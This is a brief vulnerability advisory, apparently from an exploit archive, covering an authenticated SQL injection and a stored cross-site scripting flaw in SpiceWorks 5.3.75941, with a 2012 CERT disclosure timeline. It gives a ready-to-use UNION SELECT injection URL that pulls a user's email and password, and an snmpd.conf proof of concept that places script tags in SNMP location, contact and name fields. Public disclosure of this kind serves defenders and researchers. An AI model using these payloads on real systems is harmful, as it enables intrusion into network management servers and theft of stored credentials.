SpiceWorks 5.3.75941 – Persistent Cross-Site Scripting / (Authenticated) SQL Injection
Product: SpiceWorks Version: 5.3.75941 Vendor Site: http://www.spiceworks.com/community/ Software Download Link: http://www.spiceworks.com/download/?utm_source=comm-secondary-link&utm_medium=website&utm_campaign=homepage Installer Filename: Spiceworks.exe MD5: 023bd361c0f9402dc07adbc5a72fe31d Contact: http://www.spiceworks.com/contact/ Timeline: 04 Jun 2012: Vulnerability reported to CERT 08 Jun 2012: Response received from CERT with disclosure date of 20 Jul 2012 23 Jul 2012: Updated received from CERT: No response from vendor 23 Jul 2012: Public Disclosure SQL Injection (Post-Authentication): http://server/api_v2.json?queries[device][class]=Device&queries[device][select]=id,b_manufacturer,manufacturer,b_model,model,operating_system,device_type&queries[device][conditions]=id=14%29%20UNION%20SELECT%20NULL,%20NULL,%20NULL,%20email,%20NULL,%20NULL,%20password%20from%20users%20where%20id=1-- Stored XSS: An attacker can configure their snmpd.conf file to contain malicious JavaScript as shown in the proof of concept below: rocommunity public com2sec local localhost public view systemview included .1.3.6.1.2.1.1 view systemview included .1.3.6.1.2.1.25.1.1 view systemview included .1 80 syslocation <script>alert('location')</script> syscontact <script>alert('contact')</script> sysName dook<script>alert('name')</script> |